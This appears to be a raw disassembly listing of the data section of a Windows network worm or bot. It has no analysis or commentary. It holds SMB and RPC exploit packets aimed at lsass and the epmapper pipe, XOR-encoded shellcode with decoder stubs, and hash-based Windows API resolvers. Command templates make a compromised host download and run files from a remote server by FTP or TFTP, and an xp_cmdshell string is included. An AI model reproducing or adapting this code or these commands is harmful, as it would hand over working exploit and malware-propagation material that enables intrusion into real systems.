		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_424C38	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2DBo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_424CDC	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+3C3o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_424D5C	dd offset loc_401495	; DATA XREF: sub_402988+3F1o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_424DF0	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+314o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_424E5C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+33Fo
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_424ED0	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 2	dup(0)
word_424F58	dw 0AD9Dh		; DATA XREF: sub_40283D+30r
					; sub_402988+E3r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_424F98	dd 1004600h						; sub_402988+240r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_425050	dd 0A0D7325h, 0						; sub_4036EB+102o ...
aEchoOpenSDEqEc	db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
					; DATA XREF: sub_40283D+A4o
		db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------


loc_4250BC:				; DATA XREF: sub_402988+171o
					; sub_40384C+177o
		jmp	short loc_4250C4
; ---------------------------------------------------------------------------
		jmp	short loc_4250C6
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_4250C4:				; CODE XREF: seg002:loc_4250BCj
					; DATA XREF: sub_402988+27o ...
		pop	esp
		pop	esp


loc_4250C6:				; CODE XREF: seg002:004250BEj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_4250D0	dd 1CEC8166h						; sub_40384C+Dr
dword_4250D4	dd 0E4FF07h						; sub_40384C+16r
dword_4250D8	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0					; sub_4033CB+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425124	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_403178+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_425488	dd 20h,	0			dd 20h,	5C005Ch, 0
off_42549C	dd offset aStrangle+8	; DATA XREF: sub_403178+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_4254DC	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_403178+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dw 0FFFFh
		dw 0FFFFh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		dd 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_4255EC	dd 18759Fh	dword_4255F0	dd 100139Dh	asc_4255F4:				; DATA XREF: sub_402FDD+1Co
					; sub_4030C0+16o
		unicode	0, <\\>,0
		align 4
aIpc:					; DATA XREF: sub_402FDD+Co
					; sub_4030C0+Bo
		unicode	0, <\IPC$>,0
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033CB+41o
		align 10h
		jmp	short loc_425632

; =============== S U B	R O U T	I N E =======================================



sub_425622	proc far		; CODE XREF: sub_425622:loc_425632p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_42562A:				; CODE XREF: sub_425622+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_42562A
		jmp	short loc_425637
; ---------------------------------------------------------------------------


loc_425632:				; CODE XREF: seg002:00425620j
		call	near ptr sub_425622


loc_425637:				; CODE XREF: sub_425622+Ej
		jo	short loc_42569B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_4256B9
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_42569B:				; CODE XREF: sub_425622:loc_425637j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_4256B9:				; CODE XREF: sub_425622+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_425622	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0CA91h
		dd 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh,	0EB12CB4Ch
		dd 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh
		dd 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h
		dd 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h
		dd 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h,	0A2657452h
		dd 346C9040h, 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_425760:				; DATA XREF: sub_40384C+156o
					; sub_40384C+212o
		jmp	short loc_425772

; =============== S U B	R O U T	I N E =======================================



sub_425762	proc near		; CODE XREF: sub_425762:loc_425772p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_42576A:				; CODE XREF: sub_425762+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42576A
		jmp	short loc_425777
; ---------------------------------------------------------------------------


loc_425772:				; CODE XREF: seg002:loc_425760j
		call	sub_425762


loc_425777:				; CODE XREF: sub_425762+Ej
		jo	short near ptr dword_4256EC+22h
		cwde
		cdq
		cdq
		retn
sub_425762	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_425810	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40384C+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4258F8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_403C8B+85o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425984	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+B1o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_425A30	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+D8o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_425B10	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40384C+8Ao
		unicode	0, <C$>,0
a?????_0	db '?????',0
		dd 0
dword_425B74	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_425BE0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425C84	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_425D04	dd offset loc_401495	; DATA XREF: sub_40384C+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_425D98	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_425E04	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_425E78	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_425F38	dd 1004600h						; sub_40384C+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4036EB+BEo
					; sub_4051BC+9Do
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_404108+B2o
		align 4
dword_42607C	dd 10FF8h, 0	dword_426084	dd 10FF8h	dword_426088	dd 7FFDF020h, 0	dword_426090	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426118	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_426148	dd 0				dd 800000D4h, 0
unk_426154	db  81h	; 		; DATA XREF: sub_40460C+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_4261A0	db 41h			; DATA XREF: sub_4046AA+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4261E4	proc near		; DATA XREF: seg000:00404987o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4262E0
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4262F6
		mov	[esi+8], eax
		call	sub_4262A9
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4262F6
		mov	[esi+0Ch], eax
		call	sub_42625B
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4262F6
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4261E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; CODE XREF: sub_4261E4+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_426284
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_42625B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426284	proc near		; CODE XREF: sub_42625B+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_426293:				; CODE XREF: sub_426284+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4262A0
		inc	ebx
		jmp	short loc_426293
; ---------------------------------------------------------------------------


loc_4262A0:				; CODE XREF: sub_426284+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_426284	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262A9	proc near		; CODE XREF: sub_4261E4+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4262C1:				; CODE XREF: sub_4262A9+1Ej
		cmp	[ecx], ebx
		jz	short loc_4262C9
		mov	ecx, [ecx]
		jmp	short loc_4262C1
; ---------------------------------------------------------------------------


loc_4262C9:				; CODE XREF: sub_4262A9+1Aj
		mov	edx, edi


loc_4262CB:				; CODE XREF: sub_4262A9+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4262D5
		mov	edx, [edx+4]
		jmp	short loc_4262CB
; ---------------------------------------------------------------------------


loc_4262D5:				; CODE XREF: sub_4262A9+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4262A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262E0	proc near		; CODE XREF: sub_4261E4+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4262E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262F6	proc near		; CODE XREF: sub_4261E4+16p
					; sub_4261E4+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_42630C:				; CODE XREF: sub_4262F6+33j
		jecxz	short loc_426346
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_426319:				; CODE XREF: sub_4262F6+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_426325
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_426319
; ---------------------------------------------------------------------------


loc_426325:				; CODE XREF: sub_4262F6+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_42630C
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_426346:				; CODE XREF: sub_4262F6:loc_42630Cj
					; sub_4262F6:loc_426346j
		jmp	short loc_426346
sub_4262F6	endp

; ---------------------------------------------------------------------------
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_42634C	proc near		; DATA XREF: seg000:00404937o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42639E
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_426369:				; CODE XREF: sub_42634C+38j
		jecxz	short loc_426399
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_426374:				; CODE XREF: sub_42634C+32j
		lodsb
		test	al, al
		jz	short loc_426380
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_426374
; ---------------------------------------------------------------------------


loc_426380:				; CODE XREF: sub_42634C+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_426369
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_426399:				; CODE XREF: sub_42634C:loc_426369j
		mov	[esp+arg_0], ebx
		retn
sub_42634C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42639E	proc near		; CODE XREF: sub_42634C+7p

; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4263B7
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4263C2
; ---------------------------------------------------------------------------


loc_4263B7:				; CODE XREF: sub_42639E+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_4263C2:				; CODE XREF: sub_42639E+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4263D6
sub_42639E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4263C9	proc near		; CODE XREF: sub_42639E:loc_4263D6p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4263C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42639E


loc_4263D6:				; CODE XREF: sub_42639E+29j
		call	sub_4263C9


loc_4263DB:				; DATA XREF: sub_4040AD+1Bo
					; seg000:0040D66Eo ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42639E
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4263E0	dd 60h		dword_4263E4	dd 62B0606h, 2050501h, 0A0hdword_4263F0	dd 30h							; seg002:0042C598o ...
dword_4263F4	dd 0A1h		dword_4263F8	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_404108+153o
		align 4


loc_426404:				; DATA XREF: sub_404108+E8o
		jmp	short near ptr dword_42640C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_42640C	dd 0		dword_426410	dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: seg000:0040495Co
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+1ACo
		align 4
; aExecMaster(long long, *)
